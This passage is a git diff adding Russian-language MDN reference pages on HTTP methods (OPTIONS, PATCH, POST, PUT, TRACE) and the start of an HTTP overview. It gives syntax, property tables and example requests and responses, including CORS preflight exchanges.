+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt>
+ <dd><code>HEAD</code> запрашивает ресурс так же, как и метод GET, но без тела ответа.</dd>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/POST">POST</a></code></dt>
+ <dd><code>POST</code> используется для отправки сущностей к определённому ресурсу. Часто вызывает изменение состояния или какие-то побочные эффекты на сервере.</dd>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt>
+ <dd>
+ <p><code>PUT</code> заменяет все текущие представления ресурса данными запроса.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt>
+ <dd><code>DELETE</code> удаляет указанный ресурс.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt>
+ <dd>
+ <p><code>CONNECT</code> устанавливает "туннель" к серверу, определённому по ресурсу.</p>
+ </dd>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt>
+ <dd><code>OPTIONS</code> используется для описания параметров соединения с ресурсом.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt>
+ <dd>
+ <p><code>TRACE</code> выполняет вызов возвращаемого тестового сообщения с ресурса.</p>
+ </dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt>
+ <dd><code>PATCH</code> используется для частичного изменения ресурса.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Request methods", "4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ <td>Определение GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+ </tr>
+ <tr>
+ <td>{{RFC("5789", "Patch method", "2")}}</td>
+ <td>PATCH метод для HTTP</td>
+ <td>Определение PATCH.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/Заголовки">HTTP заголовки</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html
new file mode 100644
index 0000000000..7df81b0124
--- /dev/null
+++ b/files/ru/web/http/methods/options/index.html
@@ -0,0 +1,126 @@
+---
+title: OPTIONS
+slug: Web/HTTP/Methods/OPTIONS
+tags:
+ - HTTP
+ - Метод запроса
+ - Справка
+translation_of: Web/HTTP/Methods/OPTIONS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод</strong><strong> <code>OPTIONS</code> </strong>используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (зведочку) чтобы указать весь сервер целиком.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Определение_разрешенных_сервером_методов_запроса">Определение разрешенных сервером методов запроса</h3>
+
+<p>Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно возпользоваться curl направить OPTIONS запрос:</p>
+
+<pre>curl -X OPTIONS http://example.org -i</pre>
+
+<p>Ответ на запрос содержит {{HTTPHeader("Allow")}} заголовок с поддерживаемыми методами:</p>
+
+<pre>HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+</pre>
+
+<h3 id="Предзапросы_по_технологии_CORS">Предзапросы по технологии CORS</h3>
+
+<p>По технологии <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>, с помощью метода <code>OPTIONS</code> направляется предварительный запрос, поэтому сервер может ответить приемлемо ли отправлять запросы этим методом. {{HTTPHeader("Access-Control-Request-Method")}} заголовок уведомляет сервер в составе предварительного запроса о том что, запрос  <code>OPTIONS</code> будет отправляться на сервер вместе с <code>POST</code> запросом. {{HTTPHeader("Access-Control-Request-Headers")}} заголовок уведомляет сервер о том, что при отправке фактического запроса, он будет отправлен с помощью пользовательских заголовков <code>X-PINGOTHER</code> и <code>Content-Type</code>.  В этом случае сервер имеет возможность определять возможно ли принять запрос с такими параметрами.</p>
+
+<pre>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<p>Ответ сервера содержит параметр {{HTTPHeader("Access-Control-Allow-Methods")}} и сообщает, что  <code>POST</code>, <code>GET</code>, и <code>OPTIONS</code> методы являются приемлемыми для данного ресурса. Этот заголовок похож на заголовок {{HTTPHeader("Allow")}} , но используется строго в контексте CORS.</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.OPTIONS")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}} заголовок</li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html
new file mode 100644
index 0000000000..bbf8a73ad6
--- /dev/null
+++ b/files/ru/web/http/methods/patch/index.html
@@ -0,0 +1,100 @@
+---
+title: PATCH
+slug: Web/HTTP/Methods/PATCH
+tags:
+ - HTTP
+ - HTTP метод
+ - Методы запроса
+ - Справка
+translation_of: Web/HTTP/Methods/PATCH
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Метод запроса HTTP <code>PATCH</code></strong> частично изменяет ресурс.</p>
+
+<p>В какой-то степени <code>PATCH</code> можно назвать аналогом концепта «обновить» (update) из {{Glossary("CRUD")}} (но не стоит путать HTTP и {{Glossary("CRUD")}} — это две разные вещи).</p>
+
+<p><code>PATCH</code> может как быть идемпотентным, так и не быть, в отличие от {{HTTPMethod("PUT")}}, который всегда идемпотентен. Операция считается идемпотентной, если её многократное выполнение приводит к тому же результату, что и однократное выполнение. Например, если автоинкрементное поле является важной частью ресурса, то {{HTTPMethod("PUT")}} перезапишет его (т.к. он перезаписывает всё), но <code>PATCH</code> может и не перезаписать.</p>
+
+<p><code>PATCH</code> (как и <code>PUT</code>) <em>может</em> иметь побочные эффекты на другие ресурсы.</p>
+
+<p>Чтобы обозначить, что сервер поддерживает <code>PATCH</code>, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).</p>
+
+<p>Другой (неявный) индикатор, что <code>PATCH</code> разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос">Запрос</h3>
+
+<pre class="line-numbers language-html notranslate">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[описание изменений]</pre>
+
+<h3 id="Ответ">Ответ</h3>
+
+<p>Успешный ответ указывается с помощью кода ответа {{HTTPStatus("204")}}, поскольку ответ в примере не содержит тела сообщения. А если бы содержал, то код был бы {{HTTPStatus("200")}}.</p>
+
+<pre class="newpage notranslate">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("5789", "PATCH")}}</td>
+ <td>PATCH Method for HTTP</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – указывает изменяемые типы документов принимаемые сервером.</li>
+</ul>
diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html
new file mode 100644
index 0000000000..5e0778692d
--- /dev/null
+++ b/files/ru/web/http/methods/post/index.html
@@ -0,0 +1,122 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+tags:
+ - HTTP
+ - Метод запроса
+ - Справка
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод <code>POST</code></strong> предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.</p>
+
+<p>Разница между {{HTTPMethod("PUT")}} и <code>POST</code> состоит в том, что <code>PUT</code> является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет <em>побочных эффектов</em>), тогда как повторный вызов одного и того же метода <code>POST</code> может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.</p>
+
+<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> обычно отправляется через форму HTML и приводит к изменению на сервере. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the &lt;form> element or the formenctype attribute of the &lt;input> or &lt;button> elements:">В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:</span></span></p>
+
+<ul>
+ <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&amp;', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значения кодируются в кортежах с ключом, разделенных символом <code>'&amp;'</code>, с <code>'='</code> между ключом и значением. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте <code>multipart/form-data</code>)</span></li>
+ <li><code><span title="multipart/form-data">multipart/form-data</span></code>: каждое значение посылается как блок данных ("body part"), с заданными пользовательским клиентом разделителем ("boundary"), разделяющим каждую часть. Эти ключи даются в заголовки <code>Content-Disposition</code> каждой части</li>
+ <li><code><span title="text/plain">text/plain</span></code></li>
+</ul>
+
+<p><span title="When the POST request is sent via a method other than an HTML form — like via an XMLHttpRequest — the body can take any type.">Когда запрос <code>POST</code> отправляется с помощью метода, отличного от HTML-формы, </span><span title="When the POST request is sent via a method other than an HTML form — like via an XMLHttpRequest — the body can take any type.">— например, через {{domxref ("XMLHttpRequest")}} </span><span title="When the POST request is sent via a method other than an HTML form — like via an XMLHttpRequest — the body can take any type.">— тело может принимать любой тип. </span><span title="As described in the HTTP 1.1 specification, POST is designed to allow a uniform method to cover the following functions:">Как описано в спецификации HTTP 1.1, <code>POST</code> предназначен для обеспечения единообразного метода для покрытия следующих функций:</span></p>
+
+<ul>
+ <li><span id="result_box" lang="ru"><span>Аннотация существующих ресурсов</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Публикация сообщения на доске объявлений, в новостной группе, в списке рассылки или в аналогичной группе статей;</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Добавление нового пользователя посредством модальности регистрации;</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Предоставление блока данных, например, результата отправки формы, процессу обработки данных;</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Расширение базы данных с помощью операции добавления.</span></span></li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Только если включена информация о свежести сообщения</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">POST /index.html</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Простая форма запроса, используя стандартный <code>application/x-www-form-urlencoded</code> content type:</p>
+
+<pre class="line-numbers language-html">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>Форма запроса, используя <code>multipart/form-data</code> content type:</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li><a href="/ru/docs/Web/HTTP/Methods/GET">GET</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html
new file mode 100644
index 0000000000..5c89a7887c
--- /dev/null
+++ b/files/ru/web/http/methods/put/index.html
@@ -0,0 +1,104 @@
+---
+title: PUT
+slug: Web/HTTP/Methods/PUT
+tags:
+ - HTTP
+ - HTTP методы
+ - Метод запроса
+ - Справка
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<div><strong>Метод запроса HTTP PUT</strong> создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.</div>
+
+<div></div>
+
+<p>Разница между <code>PUT</code> и {{HTTPMethod("POST")}} в том, что <code>PUT</code> является идемпотентным, т.е. единичный и множественные вызовы этого метода, с идентичным набором данных, будут иметь тот же результат выполнения (без сторонних эффектов), в случае с <code>POST</code>, множественный вызов с идентичным набором данных может повлечь за собой сторонние эффекты.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">PUT /new.html HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос">Запрос</h3>
+
+<pre>PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;Новый файл&lt;/p&gt;</pre>
+
+<h3 id="Ответ">Ответ</h3>
+
+<p>Если целевой ресурс не содержит отправляемой сущности и <code>PUT</code> запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (<code>Created</code>).</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /new.html
+</pre>
+
+<p>Если целевой ресур содержит отправляемую сущность и сущность была успешно мутирована (обновлена), в соответствии с прилагаемыми в теле запроса данными, то сервер должен отправить или {{HTTPStatus("200")}} (<code>OK</code>), или {{HTTPStatus("204")}} (<code>No Content</code>) для информирования об успешном завершении запроса.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existing.html
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.PUT")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/trace/index.html b/files/ru/web/http/methods/trace/index.html
new file mode 100644
index 0000000000..9bf1686106
--- /dev/null
+++ b/files/ru/web/http/methods/trace/index.html
@@ -0,0 +1,77 @@
+---
+title: TRACE
+slug: Web/HTTP/Methods/TRACE
+tags:
+ - HTTP
+ - Метод трассировки
+ - Справка
+translation_of: Web/HTTP/Methods/TRACE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP Метод <code>TRACE</code></strong> выполняет проверку обратной связи по пути к целевому ресурсу, предоставляя полезный механизм отладки.</p>
+
+<p>Конечный получатель запроса должен отразить полученное сообщение, исключая некоторые поля описанные ниже, назад клиенту как тело сообщения с ответом 200 (<code>OK</code>) с заголовком {{httpheader("Content-Type")}} <code>message/http</code>. Конечный получатель это либо исходный сервер, либо первый сервер получивший значение {{httpheader("Max-Forwards")}} в запросе.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Запрос имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Успешный ответ имеет тело</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+ <td>Да</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+ <td>Нет</td>
+ </tr>
+ <tr>
+ <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">TRACE /index.html
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "TRACE", "4.3.8")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.TRACE")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/Methods">HTTP methods</a></li>
+</ul>
diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html
new file mode 100644
index 0000000000..32bf03f084
--- /dev/null
+++ b/files/ru/web/http/overview/index.html
@@ -0,0 +1,172 @@
+---
+title: Обзор протокола HTTP
+slug: Web/HTTP/Overview
+tags:
+ - HTML
+ - HTTP
+ - Веб-механизмы
+ - Обзор
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>HTTP</strong> — это {{glossary("протокол")}}, позволяющий получать различные ресурсы, например HTML-документы. Протокол HTTP  лежит в основе обмена данными в Интернете. HTTP является протоколом клиент-серверного взаимодействия, что означает инициирование запросов к серверу самим получателем, обычно веб-браузером (web-browser). Полученный итоговый документ будет (может) состоять из различных поддокументов являющихся частью итогового документа: например, из отдельно полученного текста, описания структуры документа, изображений, видео-файлов, скриптов и многого другого.</p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются <em>запросами</em>, а сообщения, отправленные сервером, называются <em>ответами</em>.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Хотя HTTP был разработан  еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).</p>
+
+<h2 id="Составляющие_систем_основанных_на_HTTP">Составляющие систем, основанных на HTTP</h2>
+
+<p>HTTP — это клиент-серверный протокол, то есть запросы отправляются какой-то одной стороной — участником обмена (user-agent) (либо прокси вместо него). Чаще всего в качестве участника выступает веб-браузер, но им может быть кто угодно, например, робот, путешествующий по Сети для пополнения и обновления данных индексации веб-страниц для поисковых систем.</p>
+
+<p>Каждый запрос (англ. <em>request</em>) отправляется серверу, который обрабатывает его и возвращает ответ (англ. <em>response</em>). Между этими запросами и ответами как правило существуют многочисленные посредники, называемые {{glossary("Прокси_серверами","прокси")}}, которые выполняют различные операции и работают как шлюзы или {{glossary("Кэш","кэш")}}, например.</p>
+
+<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p>
+
+<p>Обычно между браузером и сервером гораздо больше различных устройств-посредников, которые играют какую-либо роль в обработке запроса: маршрутизаторы, модемы и так далее. Благодаря тому, что Сеть построена на основе системы уровней (слоёв) взаимодействия, эти посредники "спрятаны" на сетевом и транспортном уровнях. В этой системе уровней HTTP занимает самый верхний уровень, который называется "прикладным" (или "уровнем приложений"). Знания об уровнях сети, таких как представительский, сеансовый, транспортный, сетевой, канальный и физический, имеют важное значение для понимания работы сети и диагностики возможных проблем, но не требуются для описания и понимания HTTP.</p>
+
+<h3 id="Клиент_участник_обмена">Клиент: участник обмена</h3>
+
+<p>Участник обмена (user agent) — это любой инструмент или устройство, действующие от лица пользователя. Эту задачу преимущественно выполняет веб-браузер; в некоторых случаях участниками выступают программы, которые используются инженерами и веб-разработчиками для отладки своих приложений.</p>
+
+<p>Браузер <strong>всегда</strong> является той сущностью, которая создаёт запрос. Сервер обычно этого не делает, хотя за многие годы существования сети были придуманы способы, которые могут позволить выполнить запросы со стороны сервера.</p>
+
+<p>Чтобы отобразить веб страницу, браузер отправляет начальный запрос для получения HTML-документа этой страницы. После этого браузер изучает этот документ, и запрашивает дополнительные файлы, необходимые для отбражения содержания веб-страницы (исполняемые скрипты, информацию о макете страницы - CSS таблицы стилей, дополнительные ресурсы в виде изображений и видео-файлов), которые непосредственно являются частью исходного документа, но расположены в других местах сети. Далее браузер соединяет все эти ресурсы для отображения их пользователю в виде единого документа — веб-страницы. Скрипты, выполняемые самим браузером, могут получать по сети дополнительные ресурсы на последующих этапах обработки веб-страницы, и браузер соответствующим образом обновляет отображение этой страницы для пользователя.</p>
+
+<p>Веб-страница является гипертекстовым документом. Это означает, что некоторые части отображаемого текста являются ссылками, которые могут быть активированы (обычно нажатием кнопки мыши) с целью получения и соответственно отображения новой веб-страницы (переход по ссылке). Это позволяет пользователю "перемещаться" по страницам сети (Internet). Браузер преобразует эти гиперссылки в HTTP-запросы и в дальнейшем полученные HTTP-ответы отображает в понятном для пользователя виде.</p>
+
+<h3 id="Веб-сервер">Веб-сервер</h3>
+
+<p>На другой стороне коммуникационного канала расположен сервер, который обслуживает (англ. <em>serve</em>) пользователя, предоставляя ему документы по запросу. С точки зрения конечного пользователя, сервер всегда является некой одной виртуальной машиной, полностью или частично генерирующей документ, хотя фактически он может быть группой серверов, между которыми балансируется нагрузка, то есть перераспределяются запросы различных пользователей, либо сложным программным обеспечением, опрашивающим другие компьютеры (такие как кэширующие серверы, серверы баз данных, серверы приложений электронной коммерции и другие).</p>
+
